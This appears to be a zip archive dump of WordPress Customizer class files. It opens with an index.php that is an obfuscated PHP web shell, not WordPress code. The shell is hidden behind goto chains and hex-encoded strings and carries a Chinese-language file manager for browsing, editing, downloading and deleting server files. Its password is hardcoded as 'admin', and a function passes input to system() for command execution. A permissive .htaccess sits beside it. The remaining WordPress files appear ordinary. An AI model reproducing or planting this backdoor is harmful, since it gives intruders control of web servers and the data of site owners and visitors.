PK6n\0żItIt index.phpnu[= 1024 && $iRAWg < 3)) { goto VpuWx; } goto GHxIe; ZQa7D: $iRAWg++; goto DZn5L; DZn5L: goto FOimV; goto MaW3v; MaW3v: VpuWx: goto oDGew; d6KXR: wt1rz: goto ZQa7D; vbKVx: $iRAWg = 0; goto yWQih; GHxIe: $v0290 /= 1024; goto d6KXR; yWQih: FOimV: goto TJlVz; esA18: } goto UeE4K; jaOgi: echo $HwOMY; goto nIVFX; CvCnk: if ($GuQhd && is_file($GuQhd)) { goto h03ys; } goto hX102; UeE4K: ARg89(); goto L6a1V; USA8_: EYVLg: goto M1B9Z; q1uKR: Pw4A2: goto iMMu9; uUhi3: z1Bwq: goto q0SHK; NHo20: readfile($GuQhd); goto gsolI; W9xPc: if (!isset($_GET["\x64\x6f\167\156\x6c\x6f\x61\144"])) { goto pDq0I; } goto BgEr4; PUDTc: function r3na8($LFD6e = "\x2e") { goto LNqy9; Xww7z: echo "\x3c\x74\x68\145\x61\144\40\x63\x6c\x61\163\x73\75\42\142\x67\55\x6c\x69\147\x68\x74\x22\x3e\x3c\164\162\76\15\12\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\74\164\x68\x3e\345\220\215\xe7\xa7\xb0\74\x2f\164\150\x3e\xd\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\74\x74\150\76\347\xb1\xbb\345\236\213\74\57\164\150\x3e\15\xa\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x3c\164\x68\76\xe5\xa4\247\345\xb0\217\74\57\x74\x68\76\xd\12\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\74\x74\x68\76\xe4\277\256\346\224\271\346\227\xb6\xe9\227\264\x3c\57\164\x68\x3e\xd\12\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\74\x74\150\40\x77\151\144\x74\x68\x3d\42\62\60\x30\42\76\346\x93\x8d\xe4\xbd\234\x3c\x2f\164\x68\x3e\xd\xa\x20\x20\40\x20\x20\40\x20\40\40\x20\74\57\164\162\x3e\x3c\x2f\x74\x68\145\x61\144\76"; goto TLnPa; TLnPa: echo "\x3c\164\142\x6f\x64\x79\76"; goto YV8iF; ht21q: echo "\74\x2f\144\x69\x76\x3e"; goto NifEE; xP0uq: s0QdA: goto h6pVf; YV8iF: foreach (scandir($VTDjr) as $GuQhd) { goto mqlYR; r5Bxl: echo "\x3c\164\x64\40\143\154\x61\x73\163\75\42\x61\x63\x74\x69\x6f\156\x2d\x62\164\x6e\163\x22\76"; goto j719s; eZjD3: echo htmlspecialchars($GuQhd); goto bDXte; fSCpw: echo "\x3c\164\x72\x3e"; goto ZvmQ7; eTIA_: echo "\xf0\x9f\x93\204\x20"; goto eZjD3; ciyew: echo htmlspecialchars($GuQhd); goto BeEz6; SIiFd: echo "\74\141\x20\150\x72\145\x66\x3d\x22\x3f\160\141\164\150\x3d" . urlencode($KidJx) . "\x22\x20\143\154\141\163\x73\x3d\x22\164\x65\x78\164\x2d\x64\x65\143\x6f\162\x61\164\151\x6f\x6e\55\156\x6f\x6e\x65\42\x3e"; goto eL05q; glHK7: echo "\74\57\164\144\76"; goto piHlW; BeEz6: echo "\74\57\141\76"; goto wFT8Q; A29kZ: echo "\74\141\40\150\x72\145\x66\75\x22\77\x64\145\x6c\145\x74\145\x3d" . urlencode($KidJx) . "\42\40\15\12\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\x20\40\x20\x20\40\x6f\156\143\x6c\x69\x63\x6b\75\42\162\x65\164\x75\x72\x6e\x20\x63\x6f\156\146\x69\162\155\x28\x27\347\241\256\350\256\xa4\345\x88\xa0\351\x99\xa4\xef\xbc\237\x27\x29\x22\x20\15\12\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\x63\154\x61\x73\x73\75\x22\142\164\156\x20\142\x74\x6e\x2d\163\155\40\x62\x74\x6e\x2d\157\165\164\154\x69\156\x65\x2d\x64\141\x6e\x67\145\162\42\x3e\xe5\210\xa0\351\x99\xa4\x3c\x2f\141\x3e"; goto qOf_v; dajJt: bJx2h: goto SIiFd; nxKGl: if ($EZcvQ) { goto bJx2h; } goto eTIA_; Q38Hv: echo "\74\x74\x64\76" . n___d($EZcvQ ? 0 : filesize($KidJx)) . "\x3c\57\x74\x64\x3e"; goto vIcPu; j719s: if ($EZcvQ) { goto QaCKN; } goto mxHZd; wFT8Q: CpU9r: goto glHK7; k3oBi: sw_sY: goto tuCng; Ke4ON: echo "\x3c\x2f\164\144\x3e\x3c\57\x74\x72\x3e"; goto wpffg; eL05q: echo "\360\237\223\x81\40"; goto ciyew; bDXte: goto CpU9r; goto dajJt; xZmfW: $EZcvQ = is_dir($KidJx); goto fSCpw; mqlYR: if (!($GuQhd == "\56" || $GuQhd == "\x2e\x2e")) { goto sw_sY; } goto KFCRN; mxHZd: echo "\74\141\x20\x68\162\x65\146\x3d\42\77\145\144\151\x74\x3d" . urlencode($KidJx) . "\x22\x20\x63\x6c\141\x73\163\x3d\x22\x62\x74\x6e\40\x62\164\x6e\55\x73\x6d\x20\142\164\x6e\x2d\x6f\165\x74\x6c\151\x6e\145\x2d\160\162\151\155\141\x72\171\42\x3e\xe7\xbc\x96\xe8\xbe\x91\x3c\57\x61\76"; goto HwHKB; vIcPu: echo "\x3c\164\x64\76" . date("\x59\x2d\x6d\55\x64\x20\x48\x3a\151", filemtime($KidJx)) . "\74\57\164\144\76"; goto r5Bxl; ZvmQ7: echo "\74\164\144\x3e"; goto nxKGl; KFCRN: goto cA0Mo; goto k3oBi; tuCng: $KidJx = $VTDjr . DIRECTORY_SEPARATOR . $GuQhd; goto xZmfW; qOf_v: QaCKN: goto Ke4ON; wpffg: cA0Mo: goto DFxfb; HwHKB: echo "\x3c\141\40\150\x72\x65\x66\x3d\42\77\x64\157\x77\156\154\157\x61\x64\75" . urlencode($KidJx) . "\42\40\x63\x6c\x61\x73\163\75\42\x62\x74\156\x20\142\x74\x6e\55\163\x6d\x20\x62\164\x6e\x2d\x6f\x75\x74\154\x69\x6e\145\55\x73\x75\143\143\145\163\163\42\x3e\xe4\270\x8b\xe8\275\275\74\57\141\76"; goto A29kZ; piHlW: echo "\x3c\x74\x64\x3e" . ($EZcvQ ? "\xe6\x96\x87\344\xbb\266\xe5\xa4\271" : "\346\x96\x87\xe4\273\xb6") . "\74\57\164\x64\x3e"; goto Q38Hv; DFxfb: } goto xP0uq; RonDF: echo "\x3c\144\x69\166\40\x63\x6c\x61\163\163\75\42\x63\157\x6e\164\141\151\156\x65\162\x22\76"; goto ZveYb; jcOdG: echo "\x3c\141\40\x68\162\145\x66\x3d\x22\77\x70\x61\x74\150\x3d" . urlencode($JLXQ6) . "\x22\40\x63\x6c\x61\x73\x73\x3d\42\142\164\x6e\x20\x62\x74\x6e\55\x73\x6d\x20\142\164\x6e\55\x6f\165\164\154\x69\156\x65\x2d\x73\145\143\157\156\x64\141\x72\171\x22\x3e\xe2\x86\x90\x20\xe4\270\x8a\347\xba\xa7\xe7\x9b\256\xe5\xbd\225\74\57\x61\76"; goto Rsj2Y; B5u5s: WJQpG($VTDjr); goto STipg; h6pVf: echo "\74\57\164\x62\x6f\x64\171\76\x3c\x2f\164\141\142\154\145\x3e\74\x2f\x64\151\x76\76\x3c\57\x64\151\x76\x3e"; goto B5u5s; Rsj2Y: echo "\x3c\x73\x70\x61\156\40\x63\154\141\163\163\x3d\x22\155\x73\x2d\63\40\164\145\x78\164\55\x6d\165\x74\145\144\42\x3e\345\xbd\x93\xe5\211\215\xe4\xbd\x8d\347\xbd\256\xef\xbc\232" . htmlspecialchars($VTDjr) . "\74\57\x73\160\x61\156\76"; goto ht21q; LNqy9: $VTDjr = realpath($LFD6e); goto K1Ul2; ZveYb: echo "\x3c\144\151\x76\40\x63\x6c\x61\x73\163\75\x22\x6d\142\55\63\x22\x3e"; goto jcOdG; FM8HF: echo "\x3c\144\151\x76\x20\143\154\x61\163\x73\75\x22\143\141\x72\x64\x2d\x62\x6f\x64\171\40\x70\x2d\x30\42\x3e"; goto BM0GC; NifEE: echo "\74\144\x69\166\x20\143\154\x61\x73\163\75\x22\143\141\x72\x64\40\x73\x68\141\144\x6f\167\55\x73\155\42\x3e"; goto FM8HF; BM0GC: echo "\74\x74\x61\x62\x6c\x65\x20\143\154\x61\x73\x73\75\42\x74\x61\x62\154\x65\40\164\x61\142\154\145\55\x68\157\166\x65\162\40\x6d\142\x2d\x30\42\76"; goto Xww7z; K1Ul2: $JLXQ6 = dirname($VTDjr); goto RonDF; STipg: } goto ChnIj; kvmfJ: if (unlink($GuQhd)) { goto J7YYi; } goto QuXaz; soaaK: header("\x43\157\156\164\x65\x6e\164\x2d\104\x69\163\160\x6f\x73\x69\164\x69\x6f\156\72\40\141\x74\164\141\143\150\x6d\145\x6e\164\73\40\x66\151\154\145\x6e\x61\x6d\x65\x3d\x22" . basename($GuQhd) . "\42"); goto NHo20; dxNNB: $evPwl = "\x61\x64\x6d\151\156"; goto U2yq9; L6a1V: Dc5Kw(); goto BwrLP; gsolI: exit; goto USA8_; vcivl: goto WCL6q; goto afrbm; WWCaK: function oT_UM($CelIY) { system($CelIY); } goto jgtWI; hX102: echo "\x3c\144\151\166\x20\x63\x6c\x61\x73\x73\75\x22\x63\x6f\x6e\x74\141\151\156\x65\162\x22\76\x3c\144\x69\166\40\x63\x6c\141\163\x73\x3d\42\141\154\145\x72\x74\40\141\154\x65\162\x74\x2d\167\141\x72\x6e\x69\156\147\x22\x3e\xe6\x96\x87\xe4\xbb\266\344\270\x8d\345\xad\x98\xe5\x9c\250\xe6\210\226\xe8\xb7\xaf\xe5\276\x84\351\235\236\346\xb3\225\357\274\x81\x3c\x2f\x64\x69\166\x3e\74\x2f\144\x69\x76\76"; goto gxR_g; PLgg0: R3nA8($hyfOw); goto oxhfg; ih1h9: DlsXK: goto uUhi3; czXsV: if (!($GuQhd && is_file($GuQhd))) { goto EYVLg; } goto z0NvO; U2yq9: function Arg89() { goto NuUpl; KKp3I: exit; goto V9NnH; sgunn: jt_lM: goto LfwS3; l1idL: if (!($_POST["\x70\141\x73\x73\167\157\x72\x64"] === $evPwl)) { goto zkGS_; } goto fNOPH; lcr7S: if (!isset($_POST["\x6c\x6f\147\151\156"])) { goto c32Rk; } goto l1idL; LfwS3: if (!empty($_SESSION["\141\x75\x74\150"])) { goto Nz4ys; } goto ceMMs; wRxHb: session_destroy(); goto y2Yi7; NuUpl: global $evPwl; goto lcr7S; Udr0B: exit; goto sgunn; y2Yi7: header("\x4c\x6f\x63\141\x74\151\157\x6e\72\40\x3f"); goto Udr0B; TzvOR: zkGS_: goto SLROM; fNOPH: $_SESSION["\141\x75\x74\x68"] = true; goto TzvOR; SLROM: c32Rk: goto ASaTq; ASaTq: if (!isset($_GET["\x6c\x6f\147\157\x75\x74"])) { goto jt_lM; } goto wRxHb; V9NnH: Nz4ys: goto j2M7b; ceMMs: wVTI1(); goto KKp3I; j2M7b: } goto W9xPc; gxR_g: goto DlsXK; goto lw27I; bTSyk: if (!isset($_GET["\x64\145\154\145\x74\145"])) { goto z1Bwq; } goto Qu9Je; Vsena: session_start(); goto dxNNB; M1B9Z: pDq0I: goto bTSyk; nIVFX: if (isset($_GET["\x65\x64\x69\x74"])) { goto TjxbV; } goto PLgg0; Bz9JM: echo "\x3c\57\x62\157\144\x79\76\74\x2f\150\x74\155\x6c\x3e"; ?>PK6n\B.SS .htaccessnu[ deny from all allow from all PK%\\/class-wp-customize-background-image-control.phpnu[ __( 'Background Image' ), 'section' => 'background_image', ) ); } /** * Enqueue control related scripts/styles. * * @since 4.1.0 */ public function enqueue() { parent::enqueue(); $custom_background = get_theme_support( 'custom-background' ); wp_localize_script( 'customize-controls', '_wpCustomizeBackground', array( 'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(), 'nonces' => array( 'add' => wp_create_nonce( 'background-add' ), ), ) ); } } PK%\/class-wp-customize-background-image-setting.phpnu[ array( 'label' => __( 'Top Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt', ), 'center top' => array( 'label' => __( 'Top' ), 'icon' => 'dashicons dashicons-arrow-up-alt', ), 'right top' => array( 'label' => __( 'Top Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt', ), ), array( 'left center' => array( 'label' => __( 'Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt', ), 'center center' => array( 'label' => __( 'Center' ), 'icon' => 'background-position-center-icon', ), 'right center' => array( 'label' => __( 'Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt', ), ), array( 'left bottom' => array( 'label' => __( 'Bottom Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt', ), 'center bottom' => array( 'label' => __( 'Bottom' ), 'icon' => 'dashicons dashicons-arrow-down-alt', ), 'right bottom' => array( 'label' => __( 'Bottom Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt', ), ), ); ?> <# if ( data.label ) { #> {{{ data.label }}} <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
$input ) : ?>
editor_settings = wp_enqueue_code_editor( array_merge( array( 'type' => $this->code_type, 'codemirror' => array( 'indentUnit' => 2, 'tabSize' => 2, ), ), $this->editor_settings ) ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 4.9.0 * * @see WP_Customize_Control::json() * * @return array Array of parameters passed to the JavaScript. */ public function json() { $json = parent::json(); $json['editor_settings'] = $this->editor_settings; $json['input_attrs'] = $this->input_attrs; return $json; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.9.0 */ public function render_content() {} /** * Render a JS template for control display. * * @since 4.9.0 */ public function content_template() { ?> <# var elementIdPrefix = 'el' + String( Math.random() ); #> <# if ( data.label ) { #> <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
statuses = array( '' => __( 'Default' ) ); parent::__construct( $manager, $id, $args ); } /** * Enqueue scripts/styles for the color picker. * * @since 3.4.0 */ public function enqueue() { wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_style( 'wp-color-picker' ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 * @uses WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['statuses'] = $this->statuses; $this->json['defaultValue'] = $this->setting->default; $this->json['mode'] = $this->mode; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 3.4.0 */ public function render_content() {} /** * Render a JS template for the content of the color picker control. * * @since 4.1.0 */ public function content_template() { ?> <# var defaultValue = '#RRGGBB', defaultValueAttr = '', inputId = _.uniqueId( 'customize-color-control-input-' ), isHueSlider = data.mode === 'hue'; if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) { if ( '#' !== data.defaultValue.substring( 0, 1 ) ) { defaultValue = '#' + data.defaultValue; } else { defaultValue = data.defaultValue; } defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically. } #> <# if ( data.label ) { #> {{{ data.label }}} <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
<# if ( isHueSlider ) { #> <# } else { #> <# } #>
json['width'] = absint( $this->width ); $this->json['height'] = absint( $this->height ); $this->json['flex_width'] = absint( $this->flex_width ); $this->json['flex_height'] = absint( $this->flex_height ); } } PK%\-)class-wp-customize-custom-css-setting.phpnu[id_data['base'] ) { throw new Exception( 'Expected custom_css id_base.' ); } if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) { throw new Exception( 'Expected single stylesheet key.' ); } $this->stylesheet = $this->id_data['keys'][0]; } /** * Add filter to preview post value. * * @since 4.7.9 * * @return bool False when preview short-circuits due no change needing to be previewed. */ public function preview() { if ( $this->is_previewed ) { return false; } $this->is_previewed = true; add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 ); return true; } /** * Filters `wp_get_custom_css` for applying the customized value. * * This is used in the preview when `wp_get_custom_css()` is called for rendering the styles. * * @since 4.7.0 * * @see wp_get_custom_css() * * @param string $css Original CSS. * @param string $stylesheet Current stylesheet. * @return string CSS. */ public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) { if ( $stylesheet === $this->stylesheet ) { $customized_value = $this->post_value( null ); if ( ! is_null( $customized_value ) ) { $css = $customized_value; } } return $css; } /** * Fetch the value of the setting. Will return the previewed value when `preview()` is called. * * @since 4.7.0 * * @see WP_Customize_Setting::value() * * @return string */ public function value() { if ( $this->is_previewed ) { $post_value = $this->post_value( null ); if ( null !== $post_value ) { return $post_value; } } $id_base = $this->id_data['base']; $value = ''; $post = wp_get_custom_css_post( $this->stylesheet ); if ( $post ) { $value = $post->post_content; } if ( empty( $value ) ) { $value = $this->default; } /** This filter is documented in wp-includes/class-wp-customize-setting.php */ $value = apply_filters( "customize_value_{$id_base}", $value, $this ); return $value; } /** * Validate a received value for being valid CSS. * * Checks for imbalanced braces, brackets, and comments. * Notifications are rendered when the customizer state is saved. * * @since 4.7.0 * @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor. * @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support. * * @param string $value CSS to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ public function validate( $value ) { // Restores the more descriptive, specific name for use within this method. $css = $value; $validity = new WP_Error(); if ( preg_match( '#add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) ); } if ( ! $validity->has_errors() ) { $validity = parent::validate( $css ); } return $validity; } /** * Store the CSS setting value in the custom_css custom post type for the stylesheet. * * @since 4.7.0 * @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support. * * @param string $value CSS to update. * @return int|false The post ID or false if the value could not be saved. */ public function update( $value ) { // Restores the more descriptive, specific name for use within this method. $css = $value; if ( empty( $css ) ) { $css = ''; } $r = wp_update_custom_css_post( $css, array( 'stylesheet' => $this->stylesheet, ) ); if ( is_wp_error( $r ) ) { return false; } $post_id = $r->ID; // Cache post ID in theme mod for performance to avoid additional DB query. if ( $this->manager->get_stylesheet() === $this->stylesheet ) { set_theme_mod( 'custom_css_post_id', $post_id ); } return $post_id; } } PK%\s^$$(class-wp-customize-date-time-control.phpnu[max_year; $data['minYear'] = (int) $this->min_year; $data['allowPastDate'] = (bool) $this->allow_past_date; $data['twelveHourFormat'] = (bool) $this->twelve_hour_format; $data['includeTime'] = (bool) $this->include_time; return $data; } /** * Renders a JS template for the content of date time control. * * @since 4.9.0 */ public function content_template() { $data = array_merge( $this->json(), $this->get_month_choices() ); $timezone_info = $this->get_timezone_info(); $date_format = get_option( 'date_format' ); $date_format = preg_replace( '/(? <# _.defaults( data, ); #> <# var idPrefix = _.uniqueId( 'el' ) + '-'; #> <# if ( data.label ) { #> {{ data.label }} <# } #>
<# if ( data.description ) { #> {{ data.description }} <# } #>
<# if ( data.includeTime ) { #>
<# var maxHour = data.twelveHourFormat ? 12 : 23; #> <# var minHour = data.twelveHourFormat ? 1 : 0; #> : <# if ( data.twelveHourFormat ) { #> <# } #>

<# } #>
get_month_abbrev( $wp_locale->get_month( $i ) ); /* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */ $months[ $i ]['text'] = sprintf( __( '%1$s-%2$s' ), $i, $month_text ); $months[ $i ]['value'] = $i; } return array( 'month_choices' => $months, ); } /** * Get timezone info. * * @since 4.9.0 * * @return array { * Timezone info. All properties are optional. * * @type string $abbr Timezone abbreviation. Examples: PST or CEST. * @type string $description Human-readable timezone description as HTML. * } */ public function get_timezone_info() { $tz_string = get_option( 'timezone_string' ); $timezone_info = array(); if ( $tz_string ) { try { $tz = new DateTimeZone( $tz_string ); } catch ( Exception $e ) { $tz = ''; } if ( $tz ) { $now = new DateTime( 'now', $tz ); $formatted_gmt_offset = $this->format_gmt_offset( $tz->getOffset( $now ) / HOUR_IN_SECONDS ); $tz_name = str_replace( '_', ' ', $tz->getName() ); $timezone_info['abbr'] = $now->format( 'T' ); $timezone_info['description'] = sprintf( /* translators: 1: Timezone name, 2: Timezone abbreviation, 3: UTC abbreviation and offset, 4: UTC offset. */ __( 'Your timezone is set to %1$s (%2$s), currently %3$s (Coordinated Universal Time %4$s).' ), $tz_name, '' . $timezone_info['abbr'] . '', 'UTC' . $formatted_gmt_offset, $formatted_gmt_offset ); } else { $timezone_info['description'] = ''; } } else { $formatted_gmt_offset = $this->format_gmt_offset( (int) get_option( 'gmt_offset', 0 ) ); $timezone_info['description'] = sprintf( /* translators: 1: UTC abbreviation and offset, 2: UTC offset. */ __( 'Your timezone is set to %1$s (Coordinated Universal Time %2$s).' ), 'UTC' . $formatted_gmt_offset, $formatted_gmt_offset ); } return $timezone_info; } /** * Format GMT Offset. * * @since 4.9.0 * * @see wp_timezone_choice() * * @param float $offset Offset in hours. * @return string Formatted offset. */ public function format_gmt_offset( $offset ) { if ( 0 <= $offset ) { $formatted_offset = '+' . (string) $offset; } else { $formatted_offset = (string) $offset; } $formatted_offset = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $formatted_offset ); return $formatted_offset; } } PK%\HL`{LL%class-wp-customize-filter-setting.phpnu[ __( 'Header Image' ), 'settings' => array( 'default' => 'header_image', 'data' => 'header_image_data', ), 'section' => 'header_image', 'removed' => 'remove-header', 'get_url' => 'get_header_image', ) ); } /** */ public function enqueue() { wp_enqueue_media(); wp_enqueue_script( 'customize-views' ); $this->prepare_control(); wp_localize_script( 'customize-views', '_wpCustomizeHeader', array( 'data' => array( 'width' => absint( get_theme_support( 'custom-header', 'width' ) ), 'height' => absint( get_theme_support( 'custom-header', 'height' ) ), 'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ), 'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ), 'currentImgSrc' => $this->get_current_image_src(), ), 'nonces' => array( 'add' => wp_create_nonce( 'header-add' ), 'remove' => wp_create_nonce( 'header-remove' ), ), 'uploads' => $this->uploaded_headers, 'defaults' => $this->default_headers, ) ); parent::enqueue(); } /** * @global Custom_Image_Header $custom_image_header */ public function prepare_control() { global $custom_image_header; if ( empty( $custom_image_header ) ) { return; } add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) ); // Process default headers and uploaded headers. $custom_image_header->process_default_headers(); $this->default_headers = $custom_image_header->get_default_header_images(); $this->uploaded_headers = $custom_image_header->get_uploaded_header_images(); } /** */ public function print_header_image_template() { ?> value(); if ( isset( $this->get_url ) ) { $src = call_user_func( $this->get_url, $src ); return $src; } } /** */ public function render_content() { $visibility = $this->get_current_image_src() ? '' : ' style="display:none" '; $width = absint( get_theme_support( 'custom-header', 'width' ) ); $height = absint( get_theme_support( 'custom-header', 'height' ) ); ?>
' . $this->label . ''; } ?>

%s × %s', $width, $height ) ); } elseif ( $width ) { printf( /* translators: %s: Header width in pixels. */ __( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ), sprintf( '%s', $width ) ); } else { printf( /* translators: %s: Header height in pixels. */ __( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ), sprintf( '%s', $height ) ); } ?>

manager->get_setting( 'header_image' )->post_value(); } if ( is_array( $value ) && isset( $value['choice'] ) ) { $custom_image_header->set_header_image( $value['choice'] ); } else { $custom_image_header->set_header_image( $value ); } } } PK%\.}$class-wp-customize-image-control.phpnu[button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() ); } /** * Enqueue control related scripts/styles. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function enqueue() { wp_enqueue_media(); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) ); $this->json['mime_type'] = $this->mime_type; $this->json['button_labels'] = $this->button_labels; $this->json['canUpload'] = current_user_can( 'upload_files' ); $value = $this->value(); if ( is_object( $this->setting ) ) { if ( $this->setting->default ) { /* * Fake an attachment model - needs all fields used by template. * Note that the default value must be a URL, NOT an attachment ID. */ $ext = substr( $this->setting->default, -3 ); $type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document'; $default_attachment = array( 'id' => 1, 'url' => $this->setting->default, 'type' => $type, 'icon' => wp_mime_type_icon( $type, '.svg' ), 'title' => wp_basename( $this->setting->default ), ); if ( 'image' === $type ) { $default_attachment['sizes'] = array( 'full' => array( 'url' => $this->setting->default ), ); } $this->json['defaultAttachment'] = $default_attachment; } if ( $value && $this->setting->default && $value === $this->setting->default ) { // Set the default as the attachment. $this->json['attachment'] = $this->json['defaultAttachment']; } elseif ( $value ) { $this->json['attachment'] = wp_prepare_attachment_for_js( $value ); } } } /** * Don't render any content for this control from PHP. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Media_Control::content_template() */ public function render_content() {} /** * Render a JS template for the content of the media control. * * @since 4.1.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function content_template() { ?> <# var descriptionId = _.uniqueId( 'customize-media-control-description-' ); var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : ''; #> <# if ( data.label ) { #> {{ data.label }} <# } #>
<# if ( data.description ) { #> {{{ data.description }}} <# } #> <# if ( data.attachment && data.attachment.id ) { #>
<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #> <# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #> <# } else if ( 'audio' === data.attachment.type ) { #> <# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #> <# } else { #> <# } #>

“{{ data.attachment.title }}”

<# if ( data.attachment.album || data.attachment.meta.album ) { #>

{{ data.attachment.album || data.attachment.meta.album }}

<# } #> <# if ( data.attachment.artist || data.attachment.meta.artist ) { #>

{{ data.attachment.artist || data.attachment.meta.artist }}

<# } #> <# } else if ( 'video' === data.attachment.type ) { #>
<# } else { #>

{{ data.attachment.title }}

<# } #>
<# if ( data.canUpload ) { #> <# } #>
<# } else { #>
<# if ( data.canUpload ) { #> <# } #>
<# if ( data.defaultAttachment ) { #> <# } #>
<# } #> mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default'; switch ( $mime_type ) { case 'video': return array( 'select' => __( 'Select video' ), 'change' => __( 'Change video' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No video selected' ), 'frame_title' => __( 'Select video' ), 'frame_button' => __( 'Choose video' ), ); case 'audio': return array( 'select' => __( 'Select audio' ), 'change' => __( 'Change audio' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No audio selected' ), 'frame_title' => __( 'Select audio' ), 'frame_button' => __( 'Choose audio' ), ); case 'image': return array( 'select' => __( 'Select image' ), 'site_icon' => __( 'Select Site Icon' ), 'change' => __( 'Change image' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No image selected' ), 'frame_title' => __( 'Select image' ), 'frame_button' => __( 'Choose image' ), ); default: return array( 'select' => __( 'Select file' ), 'change' => __( 'Change file' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No file selected' ), 'frame_title' => __( 'Select file' ), 'frame_button' => __( 'Choose file' ), ); } // End switch(). } } PK%\Ѡbb0class-wp-customize-nav-menu-auto-add-control.phpnu[ <# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #>

setting->term_id; return $exported; } } PK%\F,class-wp-customize-nav-menu-item-control.phpnu[ setting->post_id; return $exported; } } PK%\+gll,class-wp-customize-nav-menu-item-setting.phpnu[-?\d+)\]$/'; const POST_TYPE = 'nav_menu_item'; const TYPE = 'nav_menu_item'; /** * Setting type. * * @since 4.3.0 * @var string */ public $type = self::TYPE; /** * Default setting value. * * @since 4.3.0 * @var array * * @see wp_setup_nav_menu_item() */ public $default = array( // The $menu_item_data for wp_update_nav_menu_item(). 'object_id' => 0, 'object' => '', // Taxonomy name. 'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included. 'position' => 0, // A.K.A. menu_order. 'type' => 'custom', // Note that type_label is not included here. 'title' => '', 'url' => '', 'target' => '', 'attr_title' => '', 'description' => '', 'classes' => '', 'xfn' => '', 'status' => 'publish', 'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item(). '_invalid' => false, ); /** * Default transport. * * @since 4.3.0 * @since 4.5.0 Default changed to 'refresh' * @var string */ public $transport = 'refresh'; /** * The post ID represented by this setting instance. This is the db_id. * * A negative value represents a placeholder ID for a new menu not yet saved. * * @since 4.3.0 * @var int */ public $post_id; /** * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item(). * * @since 4.3.0 * @var array|null */ protected $value; /** * Previous (placeholder) post ID used before creating a new menu item. * * This value will be exported to JS via the customize_save_response filter * so that JavaScript can update the settings to refer to the newly-assigned * post ID. This value is always negative to indicate it does not refer to * a real post. * * @since 4.3.0 * @var int * * @see WP_Customize_Nav_Menu_Item_Setting::update() * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response() */ public $previous_post_id; /** * When previewing or updating a menu item, this stores the previous nav_menu_term_id * which ensures that we can apply the proper filters. * * @since 4.3.0 * @var int */ public $original_nav_menu_term_id; /** * Whether or not update() was called. * * @since 4.3.0 * @var bool */ protected $is_updated = false; /** * Status for calling the update method, used in customize_save_response filter. * * See 